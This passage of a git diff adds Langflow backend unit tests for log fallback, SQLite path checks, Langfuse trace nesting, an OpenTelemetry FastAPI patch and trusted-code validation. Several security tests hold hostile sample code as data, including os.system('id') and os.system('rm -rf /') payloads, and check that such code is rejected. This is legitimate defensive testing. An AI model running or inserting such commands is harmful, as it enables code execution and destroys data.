test_writable_path_opens_real_file(self, tmp_path): + """On a writable filesystem the buffer is the real log file, not stdout.""" + service = _make_service(config_dir=str(tmp_path), alembic_log_file="alembic/alembic.log") + with service._open_alembic_log_buffer() as buffer: + assert buffer is not sys.stdout + buffer.write("hello\n") + assert service.alembic_log_path.exists() + assert service.alembic_log_path.read_text(encoding="utf-8") == "hello\n" + + def test_stdout_mode_returns_stdout(self, tmp_path): + service = _make_service(config_dir=str(tmp_path), alembic_log_to_stdout=True) + with service._open_alembic_log_buffer() as buffer: + assert buffer is sys.stdout + + def test_oserror_falls_back_to_stdout(self, tmp_path): + """A read-only filesystem (EROFS) must fall back to stdout, not raise. + + This is the deterministic regression test for issue #11143: it does not + depend on real filesystem permissions (which root bypasses in CI). + """ + service = _make_service(config_dir=str(tmp_path), alembic_log_file="alembic.log") + path_type = type(service.alembic_log_path) + with ( + patch.object(path_type, "mkdir", return_value=None), + patch.object(path_type, "open", side_effect=OSError(errno.EROFS, "Read-only file system")), + ): + ctx = service._open_alembic_log_buffer() + with ctx as buffer: + assert buffer is sys.stdout + + @pytest.mark.skipif(os.name == "nt", reason="POSIX permission bits do not restrict directory writes on Windows") + def test_readonly_directory_falls_back_to_stdout(self, tmp_path): + """End-to-end repro: a real read-only directory must not crash startup.""" + readonly_dir = tmp_path / "ro" + readonly_dir.mkdir() + readonly_dir.chmod(stat.S_IRUSR | stat.S_IXUSR) + try: + if os.access(readonly_dir, os.W_OK): + pytest.skip("Filesystem does not enforce write permission (likely running as root)") + service = _make_service(config_dir=str(readonly_dir), alembic_log_file="alembic.log") + # Must not raise OSError: [Errno 30] Read-only file system. + with service._open_alembic_log_buffer() as buffer: + assert buffer is sys.stdout + finally: + readonly_dir.chmod(stat.S_IRWXU) + + +# --------------------------------------------------------------------------- +# initialize_alembic_log_file resilience +# --------------------------------------------------------------------------- + + +class TestInitializeAlembicLogFile: + async def test_creates_log_file_when_writable(self, tmp_path): + service = _make_service(config_dir=str(tmp_path), alembic_log_file="alembic/alembic.log") + await service.initialize_alembic_log_file() + assert service.alembic_log_path.exists() + + async def test_stdout_mode_is_noop(self, tmp_path): + service = _make_service(config_dir=str(tmp_path), alembic_log_to_stdout=True) + # Should return immediately without touching the filesystem. + await service.initialize_alembic_log_file() + + async def test_oserror_is_swallowed(self, tmp_path): + """A read-only filesystem during init must not abort startup.""" + service = _make_service(config_dir=str(tmp_path), alembic_log_file="alembic.log") + with patch("langflow.services.database.service.anyio.Path") as mock_anyio_path: + instance = mock_anyio_path.return_value + instance.mkdir = AsyncMock(side_effect=OSError(errno.EROFS, "Read-only file system")) + instance.touch = AsyncMock() + # Must not raise. + await service.initialize_alembic_log_file() + instance.mkdir.assert_awaited() diff --git a/src/backend/tests/unit/services/database/test_sqlite_path_validation.py b/src/backend/tests/unit/services/database/test_sqlite_path_validation.py new file mode 100644 index 0000000000..4ab52a51ff --- /dev/null +++ b/src/backend/tests/unit/services/database/test_sqlite_path_validation.py @@ -0,0 +1,140 @@ +"""Tests for the SQLite database-path diagnostics. + +Regression coverage for issue #13634 (Bug 1, diagnostics half): a relative +``LANGFLOW_DATABASE_URL`` pointing at a missing subdirectory used to crash with +an opaque ``RuntimeError: Error creating DB and tables``. ``check_sqlite_database_path`` +fails fast with an actionable message instead. These helpers only improve +diagnostics -- they never create directories nor change which URLs are accepted. + +Issue: https://github.com/langflow-ai/langflow/issues/13634 +""" + +from pathlib import Path + +import pytest +from langflow.services.database.service import ( + check_sqlite_database_path, + get_sqlite_database_file_path, +) + + +class TestGetSqliteDatabaseFilePath: + """``get_sqlite_database_file_path`` extracts the on-disk path, or ``None``.""" + + @pytest.mark.parametrize( + "url", + [ + "postgresql+psycopg://localhost:5432/langflow", + "postgresql://localhost/langflow", + "mysql://localhost/langflow", + ], + ) + def test_non_sqlite_urls_return_none(self, url): + assert get_sqlite_database_file_path(url) is None + + @pytest.mark.parametrize( + "url", + [ + "sqlite://", # default in-memory + "sqlite+aiosqlite://", + "sqlite:///:memory:", + "sqlite+aiosqlite:///:memory:", + ], + ) + def test_in_memory_urls_return_none(self, url): + assert get_sqlite_database_file_path(url) is None + + def test_relative_path_is_returned_verbatim(self): + # The path is intentionally NOT resolved here so callers can echo it back. + assert get_sqlite_database_file_path("sqlite:///db/langflow.db") == Path("db/langflow.db") + + def test_relative_dot_path_is_returned_verbatim(self): + assert get_sqlite_database_file_path("sqlite:///./langflow.db") == Path("./langflow.db") + + def test_absolute_path_is_returned(self): + assert get_sqlite_database_file_path("sqlite:////var/data/langflow.db") == Path("/var/data/langflow.db") + + def test_sanitized_async_driver_is_recognized(self): + # ``_sanitize_database_url`` rewrites ``sqlite`` -> ``sqlite+aiosqlite``. + assert get_sqlite_database_file_path("sqlite+aiosqlite:///db/langflow.db") == Path("db/langflow.db") + + +class TestCheckSqliteDatabasePath: + """``check_sqlite_database_path`` is a no-op unless a SQLite parent dir is missing.""" + + @pytest.mark.parametrize( + "url", + [ + "postgresql+psycopg://localhost:5432/langflow", + "sqlite://", + "sqlite:///:memory:", + ], + ) + def test_no_raise_for_non_file_urls(self, url): + # Should not raise even though e.g. the postgres "database" name has no + # parent directory on disk. + check_sqlite_database_path(url) + + def test_no_raise_when_absolute_parent_exists(self, tmp_path): + url = f"sqlite:///{tmp_path / 'langflow.db'}" + check_sqlite_database_path(url) + + def test_no_raise_for_relative_existing_parent(self, tmp_path, monkeypatch): + # The documented default ``sqlite:///./langflow.db`` resolves its parent + # to the CWD, which always exists -- it must keep working. + monkeypatch.chdir(tmp_path) + check_sqlite_database_path("sqlite:///./langflow.db") + + def test_raises_for_absolute_missing_parent(self, tmp_path): + missing = tmp_path / "does_not_exist" / "langflow.db" + url = f"sqlite:///{missing}" + with pytest.raises(ValueError, match="parent directory") as exc_info: + check_sqlite_database_path(url) + message = str(exc_info.value) + assert str(missing) in message + assert "Create the directory" in message + # The absolute branch must not talk about the working directory. + assert "working directory" not in message + + def test_raises_for_relative_missing_subdirectory(self, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + with pytest.raises(ValueError, match="parent directory") as exc_info: + check_sqlite_database_path("sqlite:///db/langflow.db") + message = str(exc_info.value) + # The message must point at the resolved location and explain CWD anchoring. + assert str(tmp_path / "db") in message + assert "working directory" in message + assert str(tmp_path) in message + assert "absolute" in message + + def test_does_not_create_directories(self, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + with pytest.raises(ValueError): # noqa: PT011 - message asserted elsewhere + check_sqlite_database_path("sqlite:///db/langflow.db") + # The diagnostic must be side-effect free. + assert not (tmp_path / "db").exists() + + +class TestInitializeDatabaseWiring: + """``initialize_database`` runs the diagnostic before attempting creation.""" + + async def test_relative_missing_dir_fails_fast_instead_of_opaque_error(self, tmp_path, monkeypatch): + from langflow.services.database import utils as db_utils + + monkeypatch.chdir(tmp_path) + + class _StubDatabaseService: + database_url = "sqlite+aiosqlite:///db/langflow.db" + + async def ensure_postgresql_version(self): + return None + + async def create_db_and_tables(self): # pragma: no cover - must not be reached + pytest.fail("create_db_and_tables should not run when the path is invalid") + + monkeypatch.setattr("langflow.services.deps.get_db_service", lambda: _StubDatabaseService()) + + # Fails fast with the clear diagnostic, not the opaque "Error creating DB and tables". + with pytest.raises(ValueError, match="parent directory") as exc_info: + await db_utils.initialize_database() + assert "Error creating DB and tables" not in str(exc_info.value) diff --git a/src/backend/tests/unit/services/tracing/test_langfuse_orphan_generation.py b/src/backend/tests/unit/services/tracing/test_langfuse_orphan_generation.py new file mode 100644 index 0000000000..3588d0f2d0 --- /dev/null +++ b/src/backend/tests/unit/services/tracing/test_langfuse_orphan_generation.py @@ -0,0 +1,276 @@ +"""Regression tests for the Langfuse orphan-generation fix (issue #13429). + +When a model runs as the *root* LangChain run — i.e. invoked directly with no +wrapping chain, as reproduced with Ollama — the langfuse v3 ``CallbackHandler`` +emitted the LLM generation as a separate, orphan trace: ``parent = None``, +``userId = None``, ``sessionId = None``, and the token usage detached from the +flow trace. The langfuse SDK only applies the constructor ``trace_context`` on +the chain path, so a bare model's generation started a brand-new trace. + +``LangFuseTracer.get_langchain_callback`` now returns a handler that re-parents +root LLM runs under the flow's component (or root) span, so the generation +shares the flow ``trace_id`` and stays attributed to the user/session. + +The end-to-end test exercises the real langfuse SDK with an in-memory +OpenTelemetry exporter — a pure mock cannot catch this bug because the orphaning +happens inside the SDK's generation path. +""" + +import os +import uuid +from unittest.mock import patch + +import pytest + + +@pytest.fixture(autouse=True) +def langfuse_env_vars(): + """Set fake langfuse credentials for testing.""" + with patch.dict( + os.environ, + { + "LANGFUSE_SECRET_KEY": "sk-lf-test", # pragma: allowlist secret + "LANGFUSE_PUBLIC_KEY": "pk-lf-test", + "LANGFUSE_HOST": "http://localhost:3000", + }, + ): + yield + + +@pytest.fixture(autouse=True) +def reset_langfuse_shared_client(): + """Clear the cached Langfuse client between tests so mocks don't leak.""" + from langflow.services.tracing.langfuse import _reset_shared_client_for_tests + + _reset_shared_client_for_tests() + yield + _reset_shared_client_for_tests() + + +class TestOtelParentSpanBuilder: + """``_build_otel_parent_span`` turns the flow ids into an OTel parent span.""" + + def test_returns_none_when_ids_missing(self): + from langflow.services.tracing.langfuse import _build_otel_parent_span + + assert _build_otel_parent_span(None, "b" * 16) is None + assert _build_otel_parent_span("a" * 32, None) is None + assert _build_otel_parent_span("", "") is None + + def test_returns_none_for_non_hex_ids(self): + """Mock span ids (non-hex) degrade gracefully instead of raising.""" + from langflow.services.tracing.langfuse import _build_otel_parent_span + + assert _build_otel_parent_span("not-hex", "child-span-id") is None + + def test_builds_span_context_from_hex_ids(self): + from langflow.services.tracing.langfuse import _build_otel_parent_span + + trace_id = "a" * 32 + span_id = "b" * 16 + parent = _build_otel_parent_span(trace_id, span_id) + + assert parent is not None + ctx = parent.get_span_context() + assert ctx.trace_id == int(trace_id, 16) + assert ctx.span_id == int(span_id, 16) + # Sampled so downstream generations are recorded under the flow trace. + assert ctx.trace_flags.sampled + + +class _RecordingBase: + """Stand-in for langfuse's ``CallbackHandler`` that records OTel context. + + Each LLM-start callback records the span context that is *current* at the + moment the SDK would create the generation span. The re-parenting subclass + is expected to make the flow's parent span current for root runs only. + """ + + def __init__(self, *, trace_context=None, **kwargs): # noqa: ARG002 + self.trace_context = trace_context + self.captured = [] + + def _record(self): + from opentelemetry import trace as otel_trace_api + + self.captured.append(otel_trace_api.get_current_span().get_span_context()) + + def on_chat_model_start(self, *args, **kwargs): # noqa: ARG002 + self._record() + + def on_llm_start(self, *args, **kwargs): # noqa: ARG002 + self._record() + + +class TestRootRunReparentingHandler: + """The subclass activates the parent span for root LLM runs only.""" + + def _make_handler(self, trace_id="a" * 32, span_id="b" * 16, *, with_parent=True): + from langflow.services.tracing.langfuse import ( + _build_otel_parent_span, + _root_run_reparenting_handler_cls, + ) + + handler_cls = _root_run_reparenting_handler_cls(_RecordingBase) + otel_parent = _build_otel_parent_span(trace_id, span_id) if with_parent else None + handler = handler_cls( + trace_context={"trace_id": trace_id, "parent_span_id": span_id}, + otel_parent=otel_parent, + ) + return handler, trace_id, span_id + + def test_activates_parent_for_root_chat_model_run(self): + handler, trace_id, span_id = self._make_handler() + + handler.on_chat_model_start({}, [], run_id=uuid.uuid4(), parent_run_id=None) + + ctx = handler.captured[-1] + assert ctx.is_valid + assert ctx.trace_id == int(trace_id, 16) + assert ctx.span_id == int(span_id, 16) + + def test_activates_parent_for_root_llm_run(self): + handler, trace_id, span_id = self._make_handler() + + handler.on_llm_start({}, [], run_id=uuid.uuid4(), parent_run_id=None) + + ctx = handler.captured[-1] + assert ctx.is_valid + assert ctx.trace_id == int(trace_id, 16) + assert ctx.span_id == int(span_id, 16) + + def test_does_not_activate_for_non_root_run(self): + """A wrapping chain/agent is present (parent_run_id set) → leave untouched. + + The SDK already nests these correctly under the chain span, so the + handler must not force the flow parent into the OTel context. + """ + handler, _, _ = self._make_handler() + + handler.on_chat_model_start({}, [], run_id=uuid.uuid4(), parent_run_id=uuid.uuid4()) + + ctx = handler.captured[-1] + # No span was activated → ambient context is the invalid root span. + assert not ctx.is_valid + + def test_missing_parent_is_safe(self): + """When the parent span id is not resolvable, root runs simply no-op.""" + handler, _, _ = self._make_handler(with_parent=False) + + handler.on_chat_model_start({}, [], run_id=uuid.uuid4(), parent_run_id=None) + + ctx = handler.captured[-1] + assert not ctx.is_valid + + +def _build_real_langfuse_client_or_skip(tracer_provider): + """Construct a real Langfuse client wired to ``tracer_provider``. + + Its network OTLP exporter is replaced with a no-op so the test stays local + and fast (no connection to a Langfuse server). Skips if the SDK cannot be + imported on this interpreter (e.g. pydantic/python version mismatch). + """ + try: + from langfuse import Langfuse + from opentelemetry.sdk.trace.export import SpanExportResult + except Exception as exc: + pytest.skip(f"langfuse SDK is not importable: {exc}") + + class _NoopOtlpExporter: + def __init__(self, *args, **kwargs): + pass + + def export(self, spans): # noqa: ARG002 + return SpanExportResult.SUCCESS + + def shutdown(self): + pass + + def force_flush(self, timeout_millis=30000): # noqa: ARG002 + return True + + with patch("langfuse._client.span_processor.OTLPSpanExporter", _NoopOtlpExporter): + client = Langfuse( + public_key="pk-lf-test", + secret_key="sk-lf-test", # noqa: S106 # pragma: allowlist secret + host="http://localhost:3000", + tracer_provider=tracer_provider, + tracing_enabled=True, + ) + # Avoid a network round-trip during tracer setup's health check. + client.auth_check = lambda: True + return client + + +class TestRootGenerationNestsUnderFlowTrace: + """End-to-end: a root LLM generation shares the flow trace (issue #13429).""" + + def test_root_llm_generation_shares_flow_trace_and_nests_under_component(self): + pytest.importorskip("langfuse") + pytest.importorskip("langchain_core") + import langflow.services.tracing.langfuse as langfuse_module + from langchain_core.messages import AIMessage, HumanMessage + from langchain_core.outputs import ChatGeneration, LLMResult + from langflow.services.tracing.langfuse import LangFuseTracer + from opentelemetry.sdk.trace import TracerProvider + from opentelemetry.sdk.trace.export import SimpleSpanProcessor + from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter + + exporter = InMemorySpanExporter() + provider = TracerProvider() + provider.add_span_processor(SimpleSpanProcessor(exporter)) + client = _build_real_langfuse_client_or_skip(provider) + + with patch.object(langfuse_module, "_get_or_create_shared_client", lambda config: client): # noqa: ARG005 + try: + tracer = LangFuseTracer( + trace_name="repro - flow-xyz", + trace_type="chain", + project_name="proj", + trace_id=uuid.uuid4(), + user_id="demo-user-13429", + session_id="demo-session-13429", + ) + assert tracer.ready + + # Open a component span, then run a bare chat model as the root + # LangChain run (parent_run_id=None) — the orphan-trace condition. + tracer.add_trace("comp-ollama", "Ollama (comp-ollama)", "llm", {"input": "hi"}) + handler = tracer.get_langchain_callback() + assert handler is not None + + run_id = uuid.uuid4() + handler.on_chat_model_start( + {"id": ["langchain", "chat_models", "ollama", "ChatOllama"]}, + [[HumanMessage(content="hi")]], + run_id=run_id, + parent_run_id=None, + invocation_params={}, + ) + handler.on_llm_end( + LLMResult(generations=[[ChatGeneration(message=AIMessage(content="ok"), generation_info={})]]), + run_id=run_id, + parent_run_id=None, + ) + tracer.end_trace("comp-ollama", "Ollama", outputs={"output": "ok"}) + tracer.end(inputs={"in": "hi"}, outputs={"out": "ok"}) + finally: + client.shutdown() + + spans = {s.name: s for s in exporter.get_finished_spans()} + assert "flow-xyz" in spans, f"missing flow root span; got {list(spans)}" + assert "Ollama" in spans, f"missing component span; got {list(spans)}" + assert "ChatOllama" in spans, f"missing generation span; got {list(spans)}" + + root_span = spans["flow-xyz"] + component_span = spans["Ollama"] + generation_span = spans["ChatOllama"] + + # The generation is recorded as a langfuse generation (carries token usage). + assert generation_span.attributes.get("langfuse.observation.type") == "generation" + + # Core of #13429: the generation must live in the flow trace, not orphan. + assert generation_span.context.trace_id == root_span.context.trace_id + # And nest under the component span (not be a root of its own trace). + assert generation_span.parent is not None + assert generation_span.parent.span_id == component_span.context.span_id diff --git a/src/backend/tests/unit/services/tracing/test_langfuse_v3_compatibility.py b/src/backend/tests/unit/services/tracing/test_langfuse_v3_compatibility.py index 8d79305b40..8392d22871 100644 --- a/src/backend/tests/unit/services/tracing/test_langfuse_v3_compatibility.py +++ b/src/backend/tests/unit/services/tracing/test_langfuse_v3_compatibility.py @@ -65,6 +65,28 @@ def _import_callback_handler_or_skip(): return CallbackHandler +class _FakeLangchainCallbackHandler: + """Real (subclassable) stand-in for langfuse's ``CallbackHandler`` base. + + ``get_langchain_callback`` now subclasses the imported ``CallbackHandler`` to + re-parent root LLM runs, so tests must patch the import with an actual class + (a bare ``MagicMock`` instance cannot be used as a base class). This mirrors + the relevant part of the real constructor signature. + """ + + def __init__(self, *, public_key=None, update_trace=False, trace_context=None): + self.run_inline = True + self.public_key = public_key + self.update_trace = update_trace + self.trace_context = trace_context + + def on_chat_model_start(self, *args, **kwargs): # noqa: ARG002 + return None + + def on_llm_start(self, *args, **kwargs): # noqa: ARG002 + return None + + class TestLangfuseV3ApiExists: """Verify that the langfuse v3 API methods we need actually exist.""" @@ -334,14 +356,12 @@ class TestLangfuseTracerFunctionality: tracer.add_trace("comp-1", "Test", "llm", {}) assert mock_langfuse["root_span"].start_span.called - with patch("langfuse.langchain.CallbackHandler") as mock_handler: - mock_handler.return_value = MagicMock() - tracer.get_langchain_callback() + with patch("langfuse.langchain.CallbackHandler", _FakeLangchainCallbackHandler): + handler = tracer.get_langchain_callback() - mock_handler.assert_called_once() - call_kwargs = mock_handler.call_args[1] - assert "trace_context" in call_kwargs - assert "trace_id" in call_kwargs["trace_context"] + assert handler is not None + assert isinstance(handler, _FakeLangchainCallbackHandler) + assert "trace_id" in handler.trace_context def test_get_langchain_callback_includes_parent_span_id(self, mock_langfuse): """Test that callback handler gets parent span ID for proper nesting.""" @@ -358,14 +378,10 @@ class TestLangfuseTracerFunctionality: tracer.add_trace("comp-1", "Test", "llm", {}) assert mock_langfuse["child_span"].id == "child-span-id" - with patch("langfuse.langchain.CallbackHandler") as mock_handler: - mock_handler.return_value = MagicMock() - tracer.get_langchain_callback() + with patch("langfuse.langchain.CallbackHandler", _FakeLangchainCallbackHandler): + handler = tracer.get_langchain_callback() - call_kwargs = mock_handler.call_args[1] - trace_context = call_kwargs["trace_context"] - assert "parent_span_id" in trace_context - assert trace_context["parent_span_id"] == "child-span-id" + assert handler.trace_context["parent_span_id"] == "child-span-id" class TestLangfuseClientSingleton: diff --git a/src/backend/tests/unit/services/tracing/test_otel_fastapi_patch.py b/src/backend/tests/unit/services/tracing/test_otel_fastapi_patch.py new file mode 100644 index 0000000000..12779c5749 --- /dev/null +++ b/src/backend/tests/unit/services/tracing/test_otel_fastapi_patch.py @@ -0,0 +1,128 @@ +"""Regression tests for the OpenTelemetry FastAPI route-detail compatibility patch. + +FastAPI 0.137 made ``include_router`` lazy, so ``app.routes`` now holds +``_IncludedRouter`` wrappers with no ``.path``. ``opentelemetry-instrumentation-fastapi`` +reads ``route.path`` to name spans and crashed on a *partial* route match (e.g. a CORS +preflight / OPTIONS against a GET-only route). These tests pin the fix and are written to +pass on both eager (<=0.136) and lazy (>=0.137) inclusion. +""" + +import pytest +from fastapi import APIRouter, FastAPI +from fastapi.testclient import TestClient +from langflow.services.tracing.otel_fastapi_patch import ( + _safe_get_route_details, + patch_otel_fastapi_route_details, +) +from opentelemetry.instrumentation.fastapi import FastAPIInstrumentor + + +def _build_app() -> FastAPI: + sub = APIRouter() + + @sub.get("/version") + def _version(): + return {"version": "test"} + + app = FastAPI() + app.include_router(sub, prefix="/api/v1") + return app + + +def test_patch_is_idempotent(): + """Applying the patch twice leaves a single guarded helper installed.""" + import opentelemetry.instrumentation.fastapi as otel_fastapi + + patch_otel_fastapi_route_details() + first = otel_fastapi._get_route_details + patch_otel_fastapi_route_details() + second = otel_fastapi._get_route_details + + assert first is second + assert first is _safe_get_route_details + assert getattr(otel_fastapi, "_langflow_route_details_patched", False) is True + + +def test_safe_route_details_partial_match_does_not_raise(): + """A partial (method-mismatch) match against a lazily-included route returns a label. + + Pre-patch this raised ``AttributeError: '_IncludedRouter' object has no attribute 'path'``. + """ + app = _build_app() + # OPTIONS is not an accepted method for the GET route -> partial match on the path. + scope = { + "type": "http", + "method": "OPTIONS", + "path": "/api/v1/version", + "headers": [], + "app": app, + } + + route = _safe_get_route_details(scope) + + # Either the include prefix (lazy >=0.137) or the full templated path (eager <=0.136); + # the contract is "a non-crashing, request-relevant string". + assert route in {"/api/v1", "/api/v1/version"} + + +def test_safe_route_details_full_match_returns_path(): + """A full match still yields a usable route label.""" + app = _build_app() + scope = { + "type": "http", + "method": "GET", + "path": "/api/v1/version", + "headers": [], + "app": app, + } + + route = _safe_get_route_details(scope) + + assert route == "/api/v1/version" + + +def test_instrumented_options_preflight_does_not_500(): + """End-to-end: an OPTIONS preflight through the instrumented app no longer crashes. + + This reproduces the production failure path (OTel ASGI middleware -> span route + extraction) that turned a 405/preflight into a 500 under FastAPI >=0.137. + """ + patch_otel_fastapi_route_details() + app = _build_app() + FastAPIInstrumentor.instrument_app(app) + + try: + client = TestClient(app) + response = client.options( + "/api/v1/version", + headers={ + "Origin": "https://example.com", + "Access-Control-Request-Method": "GET", + }, + ) + # No CORS middleware here, so an OPTIONS to a GET-only route is a clean 405 - + # the point is the request flowed through OTel instrumentation without erroring. + assert response.status_code != 500 + assert response.status_code == 405 + + # And a normal request still works end-to-end. + ok = client.get("/api/v1/version") + assert ok.status_code == 200 + assert ok.json() == {"version": "test"} + finally: + FastAPIInstrumentor.uninstrument_app(app) + + +@pytest.mark.parametrize("method", ["OPTIONS", "DELETE", "PUT"]) +def test_instrumented_method_mismatch_does_not_500(method): + """Any method-mismatch (partial match) on a lazily-included route stays a 405, not a 500.""" + patch_otel_fastapi_route_details() + app = _build_app() + FastAPIInstrumentor.instrument_app(app) + + try: + client = TestClient(app) + response = client.request(method, "/api/v1/version") + assert response.status_code == 405 + finally: + FastAPIInstrumentor.uninstrument_app(app) diff --git a/src/backend/tests/unit/test_chat_endpoint.py b/src/backend/tests/unit/test_chat_endpoint.py index 50476a5532..6662c9f3a0 100644 --- a/src/backend/tests/unit/test_chat_endpoint.py +++ b/src/backend/tests/unit/test_chat_endpoint.py @@ -892,6 +892,52 @@ async def test_build_public_tmp_without_data_parameter(client, json_memory_chatb assert "job_id" in response_data +@pytest.mark.benchmark +@pytest.mark.security +async def test_build_public_tmp_rejects_custom_component(client, json_memory_chatbot_no_llm, logged_in_headers): + """H1-3754930 follow-up: an unrecognized custom component must be rejected on the public path. + + Under the default allow_public_custom_components=False, the unauthenticated public build path + runs only the server's trusted code for known component types and rejects custom/unknown + component code, so an anonymous visitor cannot trigger arbitrary server-side code execution + even when allow_custom_components is True (the default). + """ + flow_dict = json.loads(json_memory_chatbot_no_llm) + flow_dict["data"]["nodes"].append( + { + "id": "EvilCustom-1", + "type": "genericNode", + "position": {"x": 0, "y": 0}, + "data": { + "id": "EvilCustom-1", + "type": "TotallyCustomEvilComponent", + "node": { + "display_name": "Evil Custom", + "template": {"code": {"value": "import os\nos.system('id')\n"}}, + }, + }, + } + ) + flow_id = await create_flow(client, json.dumps(flow_dict), logged_in_headers) + + response = await client.patch( + f"api/v1/flows/{flow_id}", + json={"access_type": "PUBLIC"}, + headers=logged_in_headers, + ) + assert response.status_code == codes.OK + + client.cookies.set("client_id", "test-custom-component-client") + response = await client.post( + f"api/v1/build_public_tmp/{flow_id}/flow", + json={"inputs": {"session": "test_session"}}, + headers={"Content-Type": "application/json"}, + ) + + assert response.status_code == codes.BAD_REQUEST + assert response.json()["detail"] == "This flow cannot be executed." + + @pytest.mark.benchmark @pytest.mark.security async def test_get_build_events_public_tmp_job_accessible_by_any_auth_user( diff --git a/src/backend/tests/unit/test_flow_validation.py b/src/backend/tests/unit/test_flow_validation.py index 285c78ea5a..bdf2b7bdc6 100644 --- a/src/backend/tests/unit/test_flow_validation.py +++ b/src/backend/tests/unit/test_flow_validation.py @@ -21,7 +21,9 @@ from lfx.utils.flow_validation import ( _get_invalid_components, check_flow_and_raise, code_hash_matches_any_template, + collect_code_by_hash, collect_component_hash_lookups, + get_trusted_code_for_validation, validate_flow_for_current_settings, ) @@ -722,3 +724,124 @@ class TestCustomComponentsFromPathPassValidation: allow_custom_components=False, type_to_current_hash=cache.type_to_current_hash, ) + + +class TestCollectCodeByHash: + """Tests for collect_code_by_hash — the code-hash -> trusted-source map.""" + + def test_maps_hash_to_trusted_source(self): + source_a = "class A:\n pass\n" + source_b = "class B:\n pass\n" + all_types = { + "models": { + "A": {"metadata": {"code_hash": _hash(source_a)}, "template": {"code": {"value": source_a}}}, + "B": {"metadata": {"code_hash": _hash(source_b)}, "template": {"code": {"value": source_b}}}, + } + } + + code_by_hash = collect_code_by_hash(all_types) + + assert code_by_hash[_hash(source_a)] == source_a + assert code_by_hash[_hash(source_b)] == source_b + + def test_skips_entries_without_code_hash(self): + source = "class A:\n pass\n" + all_types = {"models": {"A": {"metadata": {}, "template": {"code": {"value": source}}}}} + + assert collect_code_by_hash(all_types) == {} + + def test_skips_entries_without_source_value(self): + all_types = {"models": {"A": {"metadata": {"code_hash": "abc123def456"}, "template": {"code": {}}}}} + + assert collect_code_by_hash(all_types) == {} + + def test_drops_source_whose_hash_does_not_match_its_key(self): + """Reject a poisoned index entry filed under a hash it does not produce. + + Security: attacker source must never become trusted/executable just + because it was stored under a known hash key. + """ + trusted_hash = _hash("class Real:\n pass\n") + malicious_source = "import os; os.system('rm -rf /')\n" + # The malicious source is stored under a hash it does not produce. + all_types = { + "models": { + "Spoofed": { + "metadata": {"code_hash": trusted_hash}, + "template": {"code": {"value": malicious_source}}, + } + } + } + + code_by_hash = collect_code_by_hash(all_types) + + # The mismatched entry is dropped entirely — nothing trusted for that hash. + assert trusted_hash not in code_by_hash + assert malicious_source not in code_by_hash.values() + + def test_empty_and_malformed_inputs(self): + assert collect_code_by_hash({}) == {} + assert collect_code_by_hash({"models": "not-a-mapping"}) == {} + assert collect_code_by_hash({"models": {"A": "not-a-mapping"}}) == {} + + +class TestGetTrustedCodeForValidation: + """Tests for get_trusted_code_for_validation — substitution + fail-closed.""" + + def test_returns_trusted_source_for_known_hash(self, monkeypatch): + trusted = "class Trusted:\n pass\n" + monkeypatch.setattr(component_cache, "all_types_dict", None) + monkeypatch.setattr(component_cache, "code_by_hash", {_hash(trusted): trusted}) + + assert get_trusted_code_for_validation(trusted) == trusted + + def test_returns_none_for_unknown_hash(self, monkeypatch): + monkeypatch.setattr(component_cache, "all_types_dict", None) + monkeypatch.setattr(component_cache, "code_by_hash", {"deadbeefcafe": "class T:\n pass\n"}) + + assert get_trusted_code_for_validation("totally unknown code") is None + + def test_returns_none_when_map_empty(self, monkeypatch): + monkeypatch.setattr(component_cache, "all_types_dict", None) + monkeypatch.setattr(component_cache, "code_by_hash", None) + + assert get_trusted_code_for_validation("anything") is None + + def test_collision_substitutes_trusted_source_not_client_bytes(self, monkeypatch): + """Return trusted source, never client bytes, on a hash collision. + + Security core: when attacker bytes collide with a known template hash, + the lookup must return the server's trusted source. + """ + import lfx.utils.flow_validation as fv + + trusted = "class TextInput:\n pass # the real built-in\n" + malicious = "import os\n_pwn = os.system('id')\n" + + # Force both inputs to the same (truncated) hash, simulating a 48-bit collision. + collision_hash = "c0ffeec0ffee" # pragma: allowlist secret + + def fake_hash(_code: str) -> str: + return collision_hash + + monkeypatch.setattr(fv, "_compute_code_hash", fake_hash) + monkeypatch.setattr(component_cache, "all_types_dict", None) + monkeypatch.setattr(component_cache, "code_by_hash", {collision_hash: trusted}) + + # Attacker submits malicious bytes that clear the (collided) hash gate... + result = get_trusted_code_for_validation(malicious) + + # ...but the trusted server copy is what comes back, not the payload. + assert result == trusted + assert result != malicious + + def test_self_heals_from_all_types_dict_when_map_unbuilt(self, monkeypatch): + trusted = "class Heal:\n pass\n" + monkeypatch.setattr(component_cache, "code_by_hash", None) + monkeypatch.setattr( + component_cache, + "all_types_dict", + {"models": {"Heal": {"metadata": {"code_hash": _hash(trusted)}, "template": {"code": {"value": trusted}}}}}, + ) + + assert get_trusted_code_for_validation(trusted) == trusted diff --git a/src/backend/tests/unit/test_lifespan_startup_cleanup.py b/src/backend/tests/unit/test_lifespan_startup_cleanup.py new file mode 100644 index 0000000000..823e2747a3 --- /dev/null +++ b/src/backend/tests/unit/test_lifespan_startup_cleanup.py @@ -0,0 +1,57 @@ +"""Regression test for issue #13634 (Bug 2): the masking ``UnboundLocalError``. + +When startup fails before bundle loading assigns ``temp_dirs``, the shutdown +``finally`` block in ``lifespan`` iterates ``temp_dirs`` during temp-file cleanup. +Previously ``temp_dirs`` was only bound inside the ``try``, so an early failure +(such as an unresolvable ``LANGFLOW_DATABASE_URL``) caused the cleanup to raise +``UnboundLocalError: cannot access local variable 'temp_dirs'`` -- a second, +confusing error logged on top of the real one. + +Binding ``temp_dirs = []`` before the ``try`` fixes this. This test drives the +real ``lifespan`` context manager with a failing ``initialize_services`` and +asserts the cleanup path no longer raises. + +Issue: https://github.com/langflow-ai/langflow/issues/13634 +""" + +from unittest.mock import AsyncMock + +import langflow.main as main_module +import pytest + + +async def test_startup_failure_does_not_mask_error_with_unbound_temp_dirs(monkeypatch): + lifespan = main_module.get_lifespan() + + sentinel = RuntimeError("Error creating DB and tables") + + async def _failing_initialize_services(*_args, **_kwargs): + raise sentinel + + telemetry_calls: list[tuple[str, str]] = [] + + async def _record_telemetry(exc, context): + telemetry_calls.append((context, type(exc).__name__)) + + # Force an early startup failure (before bundle loading binds temp_dirs). + monkeypatch.setattr(main_module, "initialize_services", _failing_initialize_services) + # Capture both the primary failure and any secondary cleanup failure. + monkeypatch.setattr(main_module, "log_exception_to_telemetry", _record_telemetry) + # Replace destructive/heavy shutdown calls so the finally block runs in + # isolation without tearing down services shared by the wider test session. + 